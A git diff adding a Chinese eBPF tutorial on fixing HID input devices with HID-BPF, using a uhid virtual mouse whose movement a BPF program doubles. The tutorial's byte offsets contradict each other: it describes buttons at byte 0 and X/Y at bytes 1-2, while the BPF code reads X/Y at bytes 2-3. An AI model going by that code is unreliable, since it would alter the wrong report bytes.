> 如果你想深入了解 eBPF,请查看我们的教程代码仓库 <https://github.com/eunomia-bpf/bpf-developer-tutorial> 或访问我们的网站 <https://eunomia.dev/tutorials/>。
## 参考资料
- <https://github.com/pathtofile/bad-bpf>
- 原始 bad-bpf 项目: <https://github.com/pathtofile/bad-bpf>
- eBPF 尾调用文档: <https://docs.kernel.org/bpf/prog_sk_lookup.html>
- `bpf_probe_write_user` 安全考虑: <https://lwn.net/Articles/695991/>
- BPF 验证器和程序复杂性: <https://www.kernel.org/doc/html/latest/bpf/verifier.html>

432
src/49-hid/README.zh.md Normal file
View File

@@ -0,0 +1,432 @@
# eBPF 教程:无需内核补丁修复故障的 HID 设备
你是否遇到过这样的情况:插入新鼠标或绘图板后发现在 Linux 上无法正常工作?也许 Y 轴反了,按钮映射错了,或者设备感觉完全坏了。传统的解决方法需要编写内核驱动,等待数周的审查,然后希望你的发行版能在明年某个时候提供这个修复。到那时,你可能已经买了另一个设备。
本教程将向你展示更好的方法。我们将使用 HID-BPF 创建虚拟鼠标设备,并使用 eBPF 动态修改其输入。在几分钟内,而不是几个月,你就能看到如何在不修改内核的情况下修复设备问题。这项技术已经在主线 Linux 内核中提供了 14+ 个设备修复。
> 完整源代码: <https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/49-hid>
## HID 设备问题
HID(人机接口设备)是鼠标、键盘、游戏控制器和绘图板等输入设备的标准协议。该协议定义明确,但硬件供应商经常实现不正确或添加不符合规范的特性。当这种情况发生在 Linux 上时,用户就会遭殃。
假设你买了一个 Y 轴反转的绘图板。当你向上移动触控笔时,光标向下移动。或者你买了一个鼠标,其中按钮 4 和 5 报告为按钮 6 和 7,破坏了浏览器的后退/前进导航。这些错误非常令人沮丧,因为硬件在其他操作系统上完美运行,但 Linux 看到的是原始的错误数据。
传统的修复方法需要编写内核驱动或修补现有驱动。你需要了解内核开发,向 LKML 提交补丁,让它们被审查,等待下一个内核版本,然后再等待你的发行版发布该内核。对于硬件有问题的用户来说,这可能需要六个月或更长时间。大多数用户只是退回设备或双启动到另一个操作系统。
## HID-BPF 登场
HID-BPF 通过让你使用加载到内核的 eBPF 程序在用户空间修复设备来改变一切。这些程序使用 BPF struct_ops 挂钩到 HID 子系统,在应用程序看到 HID 报告之前拦截它们。你可以修改报告数据、修复描述符问题,甚至完全阻止某些操作。
这种方法为你提供了内核代码的安全性(BPF 验证器确保不会崩溃)和用户空间开发的灵活性。编写修复、加载它、立即测试。如果有效,打包并在同一天发布给用户。Linux 内核已经包含了针对 14 种不同设备的 HID-BPF 修复,包括:
- Microsoft Xbox Elite 2 控制器
- Huion 绘图板(Kamvas Pro 19, Inspiroy 2-S)
- XPPen 数位板(Artist24, ArtistPro16Gen2, DecoMini4)
- Wacom ArtPen
- Thrustmaster TCA Yoke Boeing
- IOGEAR Kaliber MMOmentum 鼠标
- 各种其他鼠标和游戏外设
每个修复通常是 100-300 行 BPF 代码,而不是完整的内核驱动。随着 udev-hid-bpf 项目提供了脚手架,使编写这些修复变得更加容易,生态系统迅速发展。
## 为什么使用虚拟设备进行学习?
本教程使用通过 uhid(用户空间 HID)创建的虚拟 HID 设备。你可能想知道为什么我们不直接附加到你的真实鼠标。虚拟设备非常适合学习,因为它们为你提供:
- **完全控制**: 我们精确地发送我们想要的事件,何时发送
- **可重复性**: 相同的测试事件每次都产生相同的结果
- **安全性**: 不会意外破坏你的真实输入设备
- **无需硬件**: 在任何具有内核 6.3+ 的 Linux 系统上都可以工作
我们创建的虚拟鼠标报告移动事件就像真实的 USB 鼠标一样。我们的 BPF 程序在输入子系统看到这些事件之前拦截并修改它们。在我们的例子中,我们将所有移动加倍,但同样的技术适用于修复反转的轴、重新映射按钮或任何其他转换。
## 实现:虚拟 HID 设备
让我们看看完整的实现,从创建虚拟鼠标的用户空间代码开始。这使用 uhid 接口,允许用户空间程序创建内核 HID 设备。
### 创建虚拟鼠标
```c
// SPDX-License-Identifier: GPL-2.0
/* 创建虚拟 HID 鼠标并使用 BPF 修改其输入 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <poll.h>
#include <linux/uhid.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "hid-input-modifier.skel.h"
static volatile bool exiting = false;
static void sig_handler(int sig)
{
exiting = true;
}
/* 简单的鼠标报告描述符 */
static unsigned char rdesc[] = {
0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */
0x09, 0x02, /* USAGE (Mouse) */
0xa1, 0x01, /* COLLECTION (Application) */
0x09, 0x01, /* USAGE (Pointer) */
0xa1, 0x00, /* COLLECTION (Physical) */
0x05, 0x09, /* USAGE_PAGE (Button) */
0x19, 0x01, /* USAGE_MINIMUM (Button 1) */
0x29, 0x03, /* USAGE_MAXIMUM (Button 3) */
0x15, 0x00, /* LOGICAL_MINIMUM (0) */
0x25, 0x01, /* LOGICAL_MAXIMUM (1) */
0x95, 0x03, /* REPORT_COUNT (3) */
0x75, 0x01, /* REPORT_SIZE (1) */
0x81, 0x02, /* INPUT (Data,Var,Abs) */
0x95, 0x01, /* REPORT_COUNT (1) */
0x75, 0x05, /* REPORT_SIZE (5) */
0x81, 0x03, /* INPUT (Cnst,Var,Abs) */
0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */
0x09, 0x30, /* USAGE (X) */
0x09, 0x31, /* USAGE (Y) */
0x15, 0x81, /* LOGICAL_MINIMUM (-127) */
0x25, 0x7f, /* LOGICAL_MAXIMUM (127) */
0x75, 0x08, /* REPORT_SIZE (8) */
0x95, 0x02, /* REPORT_COUNT (2) */
0x81, 0x06, /* INPUT (Data,Var,Rel) */
0xc0, /* END_COLLECTION */
0xc0 /* END_COLLECTION */
};
```
此报告描述符定义了具有三个按钮和相对 X/Y 移动的标准 USB 鼠标。描述符使用 HID 描述符语言告诉内核设备将发送什么数据。每个报告将包含三个字节:字节 0 中的按钮状态、字节 1 中的 X 移动和字节 2 中的 Y 移动。
uhid 接口要求我们在创建设备时写入此描述符:
```c
static int create_uhid_device(void)
{
struct uhid_event ev;
int fd;
fd = open("/dev/uhid", O_RDWR | O_CLOEXEC);
if (fd < 0) {
fprintf(stderr, "无法打开 /dev/uhid: %m\n");
return -errno;
}
memset(&ev, 0, sizeof(ev));
ev.type = UHID_CREATE;
strcpy((char*)ev.u.create.name, "BPF Virtual Mouse");
ev.u.create.rd_data = rdesc;
ev.u.create.rd_size = sizeof(rdesc);
ev.u.create.bus = BUS_USB;
ev.u.create.vendor = 0x15d9;
ev.u.create.product = 0x0a37;
ev.u.create.version = 0;
ev.u.create.country = 0;
if (uhid_write(fd, &ev)) {
close(fd);
return -1;
}
printf("已创建虚拟 HID 设备\n");
return fd;
}
```
成功后,内核会创建一个新的 HID 设备,就像真实的 USB 鼠标一样出现在 `/sys/bus/hid/devices/` 中。然后我们可以附加 BPF 程序来拦截其事件。
### 发送合成鼠标事件
创建虚拟设备后,我们可以注入鼠标移动事件:
```c
static int send_mouse_event(int fd, __s8 x, __s8 y)
{
struct uhid_event ev;
memset(&ev, 0, sizeof(ev));
ev.type = UHID_INPUT;
ev.u.input.size = 3;
ev.u.input.data[0] = 0; /* 按钮 */
ev.u.input.data[1] = x; /* X 移动 */
ev.u.input.data[2] = y; /* Y 移动 */
return uhid_write(fd, &ev);
}
```
每个事件发送三个字节,与我们的报告描述符匹配。字节 0 包含按钮状态(全零表示未按下任何按钮),字节 1 是作为有符号 8 位值的 X 移动,字节 2 是 Y 移动。内核处理此事件的方式与处理来自真实 USB 鼠标的事件完全相同。
## BPF 程序:拦截 HID 事件
现在是有趣的部分:修改鼠标输入的 BPF 程序。这在内核中运行,通过 struct_ops 附加到 HID 设备。
```c
// SPDX-License-Identifier: GPL-2.0
/* HID-BPF 示例:修改来自虚拟 HID 设备的输入数据
*
* 此程序将鼠标的 X 和 Y 移动加倍。
* 与用户空间程序创建的虚拟 HID 设备一起使用。
*/
#include "vmlinux.h"
#include "hid_bpf_defs.h"
#include "hid_bpf.h"
#include "hid_bpf_helpers.h"
#include <bpf/bpf_tracing.h>
SEC("struct_ops/hid_device_event")
int BPF_PROG(hid_double_movement, struct hid_bpf_ctx *hctx, enum hid_report_type type)
{
__u8 *data = hid_bpf_get_data(hctx, 0, 9);
__s8 x, y;
if (!data)
return 0;
/* 鼠标 HID 报告格式(简化):
* 字节 0: 报告 ID
* 字节 1: 按钮
* 字节 2: X 移动(有符号字节)
* 字节 3: Y 移动(有符号字节)
*/
x = (__s8)data[2];
y = (__s8)data[3];
/* 移动加倍 */
x *= 2;
y *= 2;
data[2] = (__u8)x;
data[3] = (__u8)y;
bpf_printk("已修改: X=%d Y=%d -> X=%d Y=%d",
(__s8)data[2]/2, (__s8)data[3]/2,
(__s8)data[2], (__s8)data[3]);
return 0;
}
SEC(".struct_ops.link")
struct hid_bpf_ops input_modifier = {
.hid_device_event = (void *)hid_double_movement,
};
char _license[] SEC("license") = "GPL";
```
程序挂钩到 `hid_device_event`,内核为每个 HID 输入报告调用它。`hctx` 参数提供有关设备和报告的上下文。我们调用 `hid_bpf_get_data()` 来获取指向实际报告数据的指针,我们可以读取和修改它。
报告数据遵循我们的描述符定义的格式。对于我们的简单鼠标,字节 2 包含 X 移动,字节 3 包含 Y 移动,均为有符号 8 位整数。我们读取这些值,将它们加倍,然后写回。然后内核将修改后的报告传递给输入子系统,应用程序看到加倍的移动。
`bpf_printk()` 调用将我们的修改记录到内核跟踪缓冲区。这对调试非常宝贵,让你准确地看到 BPF 程序如何转换每个事件。
### 理解 struct_ops
`SEC(".struct_ops.link")` 部分创建一个 struct_ops 映射,将我们的 BPF 程序连接到 HID 子系统。Struct_ops 是一个 BPF 功能,允许你在 BPF 代码中实现内核接口。对于 HID,这意味着提供内核在 HID 处理期间调用的回调。
`hid_bpf_ops` 结构定义了我们正在实现的回调。我们只需要 `hid_device_event` 来拦截报告,但 HID-BPF 还支持:
- `hid_rdesc_fixup`: 修改报告描述符本身
- `hid_hw_request`: 拦截对设备的请求
- `hid_hw_output_report`: 拦截输出报告
用户空间代码加载此 BPF 程序并通过将 `hid_id` 字段设置为我们的虚拟设备的 ID 来附加它,然后调用 `bpf_map__attach_struct_ops()`
## 综合应用
主函数协调一切:
```c
int main(int argc, char **argv)
{
struct hid_input_modifier_bpf *skel = NULL;
struct bpf_link *link = NULL;
int err, hid_id;
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
/* 创建虚拟 HID 设备 */
uhid_fd = create_uhid_device();
if (uhid_fd < 0)
return 1;
/* 查找 HID 设备 ID */
hid_id = find_hid_device();
if (hid_id < 0) {
fprintf(stderr, "无法找到虚拟 HID 设备\n");
destroy_uhid_device(uhid_fd);
return 1;
}
/* 打开并加载 BPF 程序 */
skel = hid_input_modifier_bpf__open();
if (!skel) {
fprintf(stderr, "无法打开 BPF skeleton\n");
destroy_uhid_device(uhid_fd);
return 1;
}
skel->struct_ops.input_modifier->hid_id = hid_id;
err = hid_input_modifier_bpf__load(skel);
if (err) {
fprintf(stderr, "无法加载 BPF skeleton: %d\n", err);
goto cleanup;
}
/* 附加 BPF 程序 */
link = bpf_map__attach_struct_ops(skel->maps.input_modifier);
if (!link) {
fprintf(stderr, "无法附加 BPF 程序: %s\n", strerror(errno));
err = -1;
goto cleanup;
}
printf("BPF 程序附加成功!\n");
printf("BPF 程序将使所有鼠标移动加倍\n\n");
printf("发送测试鼠标事件:\n");
/* 发送一些测试事件 */
for (int i = 0; i < 5 && !exiting; i++) {
__s8 x = 10, y = 20;
printf("发送: X=%d, Y=%d (BPF 将加倍为 X=%d, Y=%d)\n",
x, y, x*2, y*2);
send_mouse_event(uhid_fd, x, y);
sleep(1);
}
printf("\n按 Ctrl-C 退出...\n");
while (!exiting)
sleep(1);
cleanup:
bpf_link__destroy(link);
hid_input_modifier_bpf__destroy(skel);
destroy_uhid_device(uhid_fd);
return err < 0 ? -err : 0;
}
```
流程很简单:创建虚拟设备、查找其 ID、使用该 ID 加载 BPF 程序、附加程序、发送测试事件。BPF 程序在内核中运行,在每个事件到达输入层之前拦截并修改它。
## 理解 HID 报告格式
要有效地修改 HID 数据,你需要理解报告格式。我们的简单鼠标使用此结构:
```
字节 0: 报告 ID(对于我们的单一报告类型始终为 0)
字节 1: 按钮状态
位 0: 左键
位 1: 右键
位 2: 中键
位 3-7: 未使用
字节 2: X 移动(有符号 8 位,-127 到 +127)
字节 3: Y 移动(有符号 8 位,-127 到 +127)
```
真实设备通常具有更复杂的报告,具有多个报告 ID、更多按钮、滚轮数据和其他轴。你可以通过检查设备的报告描述符来确定格式,可以从 sysfs 读取或查看类似设备的现有内核驱动。
## 编译和执行
构建示例很简单。导航到教程目录并运行 make:
```bash
cd src/49-hid
make
```
这会编译 BPF 程序和用户空间加载器,生成 `hid-input-modifier` 可执行文件。使用 sudo 运行它,因为 HID-BPF 需要 CAP_BPF 和 CAP_SYS_ADMIN 权限:
```bash
sudo ./hid-input-modifier
```
你会看到类似这样的输出:
```
已创建虚拟 HID 设备
找到 HID 设备 ID: 8
BPF 程序附加成功!
BPF 程序将使所有鼠标移动加倍
发送测试鼠标事件:
发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40)
发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40)
发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40)
发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40)
发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40)
按 Ctrl-C 退出...
```
在另一个终端中,你可以查看 BPF 跟踪输出以查看正在进行的修改:
```bash
sudo cat /sys/kernel/debug/tracing/trace_pipe
```
这显示了来自 BPF 程序的 `bpf_printk()` 消息,确认事件正在被拦截和修改。
## 实验修改
这种方法的美妙之处在于实验是多么容易。想要反转鼠标方向而不是加倍它?只需更改 BPF 代码:
```c
/* 反转方向 */
x = -x;
y = -y;
```
或者交换轴,使水平变为垂直:
```c
/* 交换轴 */
__s8 temp = x;
x = y;
y = temp;
```
你可以为老化的操纵杆实现死区过滤:
```c
/* 忽略小移动 */
if (x > -5 && x < 5) x = 0;
if (y > -5 && y < 5) y = 0;
```
或修复绘图板上常见的 Y 轴反转问题:
```c
/* 仅反转 Y 轴 */
y = -y;
```
任何更改后,只需运行 `make` 并再次执行。无需重建内核、无需模块签名、无需等待。这就是 HID-BPF 的力量。
## 总结
HID-BPF 改变了我们在 Linux 上处理古怪输入设备的方式。我们可以编写小型 BPF 程序立即修复设备,而不是需要数月才能到达用户的内核补丁。由于 BPF 验证器,程序在内核中安全运行,并且可以像任何其他软件一样打包和分发。
本教程通过创建虚拟鼠标并修改其输入向你展示了基础知识。你看到了 uhid 如何让用户空间创建 HID 设备,BPF struct_ops 如何将程序连接到 HID 子系统,以及简单的转换如何修复常见的设备问题。相同的技术适用于真实硬件,无论你是修复反转的平板轴还是实现自定义游戏控制器映射。
Linux 内核已经提供了 14 个 HID-BPF 设备修复,并且每个版本都在增加。像 udev-hid-bpf 这样的项目使编写和分发修复变得更加容易。如果你有一个损坏的 HID 设备,你现在有工具可以自己修复它,只需几个小时而不是几个月。
> 如果你想深入了解 eBPF,请查看我们的教程代码仓库 <https://github.com/eunomia-bpf/bpf-developer-tutorial> 或访问我们的网站 <https://eunomia.dev/tutorials/>。
## 参考资料
- [Linux HID-BPF 文档](https://docs.kernel.org/hid/hid-bpf.html)
- [udev-hid-bpf 项目](https://gitlab.freedesktop.org/libevdev/udev-hid-bpf)
- [内核 HID-BPF 设备修复](https://github.com/torvalds/linux/tree/master/drivers/hid/bpf/progs)
- [UHID 内核文档](https://www.kernel.org/doc/html/latest/hid/uhid.html)
- [HID 使用表](https://www.usb.org/document-library/device-class-definition-hid-111)
- [Who-T 博客: udev-hid-bpf 快速入门](https://who-t.blogspot.com/2024/04/udev-hid-bpf-quickstart-tooling-to-fix.html)